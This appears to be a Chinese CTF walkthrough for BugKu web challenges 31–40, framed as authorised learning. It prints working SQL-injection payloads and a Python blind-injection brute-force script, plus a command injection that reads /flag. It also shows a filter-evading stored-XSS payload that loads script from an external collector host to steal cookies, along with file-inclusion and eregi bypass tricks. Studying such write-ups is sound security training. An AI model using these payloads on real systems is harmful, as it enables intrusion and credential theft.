BugKuCTF-WEB超详细解题思路(31-40)
本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录no selectlogin2sql注入都过滤了login1留言板留言板1没做出来文件包含cookiesnever_give_upno select题目信息进入靶场根据网上提示这道题是堆叠注入1;show databases;爆表1;show tables;看到当前库的表名查看指定表的所有字段1; show columns from flag; #这里得到两个字段直接构建查询语句查询flag字段内容1;select data from flag;发现竟然失败有关键字拦截url、base64、unicode、16进制 全部不行开始sql语句爆破1 or 11#得到flaglogin2题目信息进入靶场随便输入账号密码并用bp抓包放到重放器send一下发现个tip提示看着像base64编码解一下码发现是个语句这段 PHP 代码是一个简单的登录验证流程$sqlSELECT username,password FROM admin WHERE username.$username.;致命伤直接把用户输入的$username拼接到 SQL 语句中没有任何过滤或转义完全暴露了SQL 注入漏洞。if(!empty($row) $row[password]md5($password))验证条件!empty($row)数据库必须查到对应的用户结果集不能为空。$row[password]md5($password)数据库存储的密码字段必须严格等于全等用户输入密码的 MD5 值。由于代码里查询的是username字段后端在验证时又使用了md5($password)我们可以利用“联合查询UNION SELECT”在后端伪造一条数据让后端验证通过。只需要在登录界面的两个输入框里分别输入以下内容Username (用户名) 输入sqladmin union select admin, e10adc3949ba59abbe56e057f20f883e --Password (密码) 输入123456为什么这个 Payload 能成功绕过绕过查询admin union select ... --前面的admin会闭合原本 SQL 里的第一个引号union select后面指定的两个字符串admin和 MD5 值会作为新的一行数据拼接到查询结果里。注释符--会把原本 SQL 语句后面原生的单引号和分号全部注释掉保证语法合法。严格的比较联合查询伪造的密码字段是e10adc3949ba59abbe56e057f20f883e而这正是123456的 MD5 哈希值。当后端把传入的密码转为 MD5 后两个字符串全等成功通过校验payload:123456 | cat /flag 1.php 查看 flag文件并输出到1.php里边找到flagsql注入题目信息输入用户名111密码222提示username does not exist!输入用户名admin密码admin提示password error!说明有admin用户构建语句admin#成功闭合 得到、空格、and、、、等关键字全被过滤使用代替 空格可以使用or()解决可以使用from(1)解决aor(ascii(substr(reverse(substr((database())from(1)))from(8)))99)#这里利用ASCII码对数据库名称进行提取得到第一个为ASCII码99得到为字母b以此继续得到password为bugkuctf得到flag但是这道题我没看懂看的别人的文章都过滤了进入靶场一个登录框首先随便输入用户名和密码发现只报错显示用户名错误因此推出后端先判断用户名可能使用sql语句SELECT * FROMtab_name WHERE uname...过滤太多了我直接绝望。试了之后发现发现#,-- , ,or,and,/*都被过滤了尝试判断闭合发现用户名无论是admin还是admin都没有其他报错推测是单引号闭合输入用户名为a-0密码123可推出确实是单引号闭合原理在 MySQL 数据库中当字符串参与算术运算或比较时若字符串的首字符为非数值类型则该字符串会被 MySQL 隐式转换为数值0。例如a - b 0 a - 0 0 a - 1 -1 1a 0 1利用这一特性如果后端是直接进行 SQL 字符串拼接例如SELECT * FROM tab_name WHERE uname$uname当我们输入用户名为a-0时拼接后的 SQL 语句相当于SELECT * FROM tab_name WHERE unamea - 0由于在 SQL 中减法运算符-的优先级高于比较运算符MySQL 会率先计算a - 0。结果为0 - 0 0。最终查询条件变成了在数据表中查找uname 0的记录。因为数据库中合法用户的uname首字母大多都是字母非数值在比较时都会转换成0因此uname 0就会匹配到首字母为非数值的用户记录比如admin。由此我们可以利用这一特性构造一个无空格、无逗号、无or/and、纯数字运算的布尔盲注 Payloadunamea-(ascii(substr((passwd)from(1)))97)-bpasswd123Payload 逻辑原理解析括号内的ascii(substr((passwd)from(1)))97是我们注入的盲注判断条件。它的作用是判断当前数据库账户密码的第一个字符的 ASCII 码是否等于97即字母a。若判断为假不是 97式子会返回0。整体运算变为a - 0 - b 0。因为结果为0查询不到符合条件的用户页面会正常返回“密码错误”。若判断为真是 97式子会返回1。整体运算变为a - 1 - b -1。因为结果匹配到了首字母为0的用户记录比如admin页面会触发“用户名存在”的状态比如返回username error!。通过对比每次提交后页面反馈的差异特征「密码错误」与「用户名错误」就可以利用二分法或逐字枚举在无任何 SQL 关键字select,and,or,from的情况下轻松把后端的密码完整盲注出来于是用脚本import requests ra requests.session() # 【注意】如果报错404请把下面这行改成 http://160.202.254.160:13904/index.php url http://160.202.254.160:13904/login.php headers { User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Mobile Safari/537.36 } # 用于存储破解出来的密码 password print([*] 开始逐位爆破密码请稍候...) for j in range(1, 33): # 假定密码最长不超过32位 found False for i in range(48, 127): # 匹配数字、大小写字母和常见符号 # 构造无空格、无逗号的注入 payload u fa-(ascii(substr((passwd)from({j}))){i})-b data {uname: u, passwd: 123} try: pa ra.post(urlurl, headersheaders, datadata).text # 【核心修正】当页面中没有包含错误提示框时说明条件成立 if password error!!_ not in pa: password chr(i) print(f[] 第 {j} 位破解成功: {chr(i)} - 当前密码: {password}) found True break except Exception as e: print(f[!] 请求出错: {e}) if not found: print(f[!] 第 {j} 位在范围内没找到密码可能提前结束了。) break print(f\n[] 最终拿到的密码是: {password}) print([*] 复制去靶机登录吧)md5解码得到密码为bugkuctf输入账号密码得到发现空格等符号依然被过滤输入指令cat/flag得到flaglogin1题目信息进入靶场发现是个登录系统随便测试admin等账号提示“用户名或密码错误”看不出明显注入点。看到“没有账号点我”的提示点击进入注册页面。在注册页面输入用户名admin系统会提示admin已存在说明后端确实有这个用户且做了防重复校验。回到注册页面输入用户名admin注意admin后面加一个空格。输入密码Cj123456或者其他随便设置的密码。点击注册系统提示注册成功返回登录页面。输入用户名admin注意这里不要加空格就输入正常的admin。输入密码刚才注册时设置的Cj123456。点击登录。此时页面会直接显示flag留言板题目信息留言板第一反应就是XSS 或者跨站脚本攻击看到此类的题目应该和存储型xss有关也就是将恶意代码保存到服务器端即然在服务器端那就是会在后台弹出窗口了所以需要找到后台地址看看能不能爆破进入但是题目提示了说不需要登录后台需要使用xss平台来接收cookies用dirsearch扫一下得到后台管理地址http://160.202.254.160:17470/admin.php使用工具爆破发现用户名为admin,密码为011be4d65feac1a8登录进去发现留言的语句在该目录显示显示当前的cookie------scriptalert(document.cookie)/script刷新页面这就是我们需要的flag注意记得转码%7B 和%7Dflag%7B7e9f5e2236deb6c6e9b3a23fbfb27032%7D得到flagflag{7e9f5e2236deb6c6e9b3a23fbfb27032}留言板1没做出来题目信息打开靶场还是那个输入框坑 1str_replace过滤script后端直接暴力把代码里的script替换成空。解法双写绕行。写成scrscriptipt替换掉中间那个后刚好拼成script。坑 2空格被暴力删除你如果发了script src...中间的空格会被删掉导致标签失效。解法/\**/代替空格。写成script/**/src...浏览器会把/**/当成注释忽略完美实现无空格标签。坑 3XSS 平台不支持 http极其重要截图里提示“如果 xss 平台是 https 模式可能收不到 flag”。解法进你的 XSS 平台比如 xssaq.com在创建项目时一定要选择http协议。后台是通过删除空格和删除script字符串来防御的。应该把你 XSS 平台里的核心路径也就是//d00.cc/f7a这一截拼装成下面的双写 无空格格式scrsCRiPt/**/src//d00.cc/f7a/scr/sCRiPtiptxss平台可能用不了了试了几次都不行先放一放。文件包含题目信息打开靶场发现个这个玩意点进去看一看发现一个php文件上面显示了index.php的字样网址中fileshow.php。那么我们可以推测他这个index.php就是show.php中内容。假设他可以显示包含的文件那我们直接根目录试试flag。http://160.202.254.160:10045/index.php?file/flag找到flagcookies题目信息进入靶场发现url上有个编码看着像base64编码解一下发现是个文件名网页内内容没有换行放到记事本中发现是由“rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry”不停复制成的。line没有赋值看起来line就是行数的意思。尝试 line0发现页面中的内容没变。尝试 line1发现页面中的字符内容就没有了。那么我们可以推测line是指定显示key.txt文件中多少行数的内容。此时我们知道有index.php。是否能用同样的方式来查看index.php中的内容于是首先把index.php进行base64编码把编码后的值赋值给filename。然后赋值line为0。结果为尝试line不传值结果也与传值为0时返回结果一样都是 ?php。看起来像是一段php代码。于是依次输入line的值从0一直输入到19行就没有显示内容了。所有的内容拼接成一下代码?php error_reporting(0); $filebase64_decode(isset($_GET[filename])?$_GET[filename]:); $lineisset($_GET[line])?intval($_GET[line]):0; if($file) header(location:index.php?linefilenamea2V5cy50eHQ); $file_list array( 0 keys.txt, 1 index.php, ); if(isset($_COOKIE[margin]) $_COOKIE[margin]margin){ $file_list[2]keys.php; } if(in_array($file, $file_list)){ $fa file($file); echo $fa[$line]; }代码中显示当cookie有margin属性且值为margin时并且有file在file_list中时可以输出file的内容。我们想要的肯定是keys.php内容于是filename的值为keys.php的base64编码。并且按要求设置cookie。得到flag此题借鉴csdn博主的文章原文链接https://blog.csdn.net/cai_huaer/article/details/153639826never_give_up题目信息进入靶场F12查看源代码发现一行注释包含一个文件名称1p.html去访问这个文件发现直接跳转到BUGKU首页感到奇怪那就下载 看看这个文件内容大佬的代码import requests urlhttp://160.202.254.160:12777//1p.html head{User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0} htmlrequests.get(url,headershead).text print(html)发现内容是这样的HTML HEAD SCRIPT LANGUAGEJavascript !-- var Words %3Cscript%3Ewindow.location.href%3Dhttp%3A%2F%2Fwww.bugku.com%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E function OutWord() { var NewWords; NewWords unescape(Words); document.write(NewWords); } OutWord(); // -- /SCRIPT /HEAD BODY /BODY /HTML可以看到script中有一段注释内容如下var Words %3Cscript%3Ewindow.location.href%3Dhttp%3A%2F%2Fwww.bugku.com%3B%3C%2Fscript%3E%20%0A %3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E function OutWord() { var NewWords; NewWords unescape(Words); document.write(NewWords); } OutWord();这里发现 2个 %3C!-- --%3E明显是URL编码第一个解码得到scriptwindow.location.hrefhttp://www.bugku.com;/script这是一段js代码作用就是嵌入在HTML文档中用于重定向浏览器 当前页面到指定的URL——http://www.bugku.com。而 window.location.href 属性是JavaScript的全局对象window的一个属性它表示当前窗口浏览器标签页加载的网页的完整URL。当你给window.location.href赋值时浏览器会立即导航到指定的新URL。是不是很奇怪注释了为什么还可以运行js代码请看后文知识点第二个就是中间的内容使用base64解码后得到%22%3Bif(!%24_GET%5Bid%5D)%0A%7B%0A%09header(Location%3A%20hello.php%3Fid%3D1)%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5Bid%5D%3B%0A%24a%3D%24_GET%5Ba%5D%3B%0A%24b%3D%24_GET%5Bb%5D%3B%0Aif(stripos(%24a%2C.))%0A%7B%0A%09echo%20no%20no%20no%20no%20no%20no%20no%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2Cr)%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E再来一次URL解码;if(!$_GET[id]) { header(Location: hello.php?id1); exit(); } $id$_GET[id]; $a$_GET[a]; $b$_GET[b]; if(stripos($a,.)) { echo no no no no no no no; return ; } $data file_get_contents($a,r); if($databugku is a nice plateform! and $id0 and strlen($b)5 and eregi(111.substr($b,0,1),1114) and substr($b,0,1)!4) { $flag flag{***********} } else { print never never never give up !!!; } ?代码分析URL需要有三个参数id、a、b 对参数a进行限制使用stripos函数对a进行处理意思就是a中不能含有. $data使用file_get_contents() 函数对a参数的内容进行读操作也就是读取a的内容。至于这个 符号在PHP中用于错误抑制操作它会阻止该行代码产生的任何错误信息显示出来。如果 $a 指定的文件或URL不存在或者由于其他原因无法读取通常PHP会抛出错误信息但有了 符号即使发生错误也不会显示错误信息。【忽略报错】 if语句中 $data“bugku is a nice plateform!” 表示data中要有bugku is a nice plateform!字符串至于这个参数放哪里emmphp伪协议 php:// (总之看到file_get_contents就要想到使用php://input)也就是请求中使用 php://input.然后就可以在post 中输入data的字符串。结合 $data file_get_contents($a,r);,说明参数a就是赋值成伪协议php://input具体见后文新知识 $id0和0弱比较为真先尝试传参id0发现页面会自动跳成id1所以既然0不能用那和0弱比较为真的就是字符串了id输入字母。 strlen($b)5b的长度要大于5 eregi(“111”.substr($b,0,1),“1114”)eregi已经被弃用有漏洞这里利用的就是这个漏洞称为0x00漏洞或者%00漏洞小数点是作为拼接使用而这里语句表示111和$b 中提取的第一个字符拼接形成一个新的字符串,然后和1114匹配匹配的话则返回 true否则返回 false。 使用%00那拼接就是1114不论参数b输入什么都被认为是结束了所以b%00你想输入的数字数字长度大于5就行如b%0011111. substr($b,0,1)!4进一步限制提取拼接的不能是4. 结合起来解释就是三个参数id不能为0a不能包含小数点b要使用截断来绕过substr($b,0,1)!4最后要匹配成1114。借鉴csdn博主默默提升实验室的文章原文链接https://blog.csdn.net/qq_36292543/article/details/136676985得到flag